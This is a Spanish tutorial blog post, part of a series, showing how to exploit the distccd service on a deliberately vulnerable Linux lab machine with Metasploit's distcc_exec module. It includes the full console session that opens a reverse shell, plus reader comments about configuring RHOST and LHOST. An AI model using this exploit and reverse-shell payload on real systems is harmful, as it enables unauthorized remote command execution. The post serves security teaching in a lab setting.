CONCEPTOS BASICOS DE PENETRACION BAJO PLATAFORMA GNU/LINUX(VULNERABLE) USANDO METASPLOIT FRAMEWORK – PARTE VIII
Entendiendo y Atacando el servicio DISTCCD
Encontrando Vulnerabilidades sobre el servicio DISTCCD (Puerto 3632)
DISTCCD es un servicio distribuido que se encarga de compilar y construir programas escritos en C, C++ y Objective C++, al ser distribuido el resultado final de la compilación de los programas genera los mismos resultados como si se tratara de una construcción en el sistema local, se trata de un servicio bastante útil para equipos de desarrolladores de C y C++.
No obstante, existen algunas vulnerabilidades que atañen a este servicio y se encuentran centradas precisamente en las capacidades distribuidas que este ofrece a los usuarios, una de estas vulnerabilidades es precisamente en que cualquiera podrá conectarse a dicho servicio y ejecutar comandos de forma arbitraria, lo que desde luego, es completamente indeseable.
Para explotar esta vulnerabilidad, en primera instancia se busca el modulo adecuado desde metasploit
msf exploit(tomcat_mgr_deploy) > search distccd [*] Searching loaded modules for pattern ‘distccd’… Exploits======== Name Disclosure Date Rank Description —- ————— —- ———– unix/misc/distcc_exec 2002-02-01 excellent DistCC Daemon Command Execution msf > use exploit/unix/misc/distcc_exec msf exploit(distcc_exec) > show options Module options (exploit/unix/misc/distcc_exec): Name Current Setting Required Description —- ————— ——– ———– RHOST yes The target address RPORT 3632 yes The target port Exploit target: Id Name — —- 0 Automatic Target msf exploit(distcc_exec) > set RHOST 192.168.1.34 RHOST => 192.168.1.34 msf exploit(distcc_exec) > set PAYLOAD cmd/unix/reverse PAYLOAD => cmd/unix/reverse msf exploit(distcc_exec) > exploit [*] Started reverse double handler [*] Accepted the first client connection… [*] Accepted the second client connection… [*] Command: echo 8iFkroIa7EJdn9JV; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets… [*] Reading from socket B [*] B: «8iFkroIa7EJdn9JV\r\n» [*] Matching… [*] A is input… [*] Command shell session 4 opened (192.168.1.33:4444 -> 192.168.1.34:40053) at Sat May 21 22:45:33 +0200 2011 whoami daemon uname -r 2.6.24-16-server |
Como se puede apreciar, nuevamente se ha conseguido una sesión reversa con la maquina remota.
Esta ha sido la ultima entrada relacionada con conceptos básicos de explotación de maquinas GNU/Linux, se han tratado vulnerabilidades a modo general que un hacker newbie comienza a conocer y entender, sin embargo, la explotación de sistemas va mucho mas allá de esto, en realidad se trata de un campo bastante complejo y difícil de seguir, sin embargo con dedicación todo es posible. En próximas entradas se intentará explicar como se puede penetrar en maquinas con unos niveles de seguridad medios/normales utilizando técnicas un poco mas elaboradas y que requieren mayor esfuerzo por parte del atacante.
Hola, después de hacer :
msf exploit(distcc_exec) > set RHOST 192.168.1.34
RHOST => 192.168.1.34
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
Cuando escribo lo siguiente, falla. ¿Qué se debe hacer y a qué se debe?:
msf exploit(distcc_exec) > exploit
[-] Exploit failed: The following options failed to validate: LHOST.
msf exploit(distcc_exec) >
Ayuda por favor!!!!
Me gustaMe gusta
debes establecer la opción LHOST.
Me gustaMe gusta
Si, y la establezco. Pongo la misma que RHOST, es decir: set LHOST 192.168.1.34, pero me sigue dando error 😦
[*] Started reverse double handler
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (192.168.1.34:3632).
Me gustaMe gusta
Y otra duda, porqué pones en RHOST esa ip? osea, qué quiere decir esa ip?
Me gustaMe gusta
la ip que se pone en el artículo es una máquina en el segmento de red local. En RHOST debes poner la dirección ip de la máquina que estás atacando. LHOST es una propiedad que te permitirá levantar un handler en tu máquina local para recibir las peticiones correspondientes a un exploit que se ha ejecutado correctamente. Debe tener la dirección ip local de tu máquina.
Me gustaMe gusta
De acuerdo, en RHOST pongo la máquina que tiene usted: 192.168.1.34 y en LHOST pongo mi ip local. Pero me sigue apareciendo el mismo error:
Puede saberse a qué se debe y qué tengo que hacer?
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (192.168.1.34:3632).
Me gustaMe gusta
192.168.1.34 es una ip que está en mi entorno de red local y si lees el mensaje que te está dando metasploit, veras que tiene todo el sentido del mundo, no se puede conectar a esa máquina. En RHOST tienes que poner la dirección IP de la máquina que quieres atacar.
Una recomendación: Antes de aprender a utilizar herramientas como metasploit, aprende qué es lo que hacen y sobre todo, tienes que aprender los conceptos básicos de seguridad, redes y programación.
Me gustaMe gusta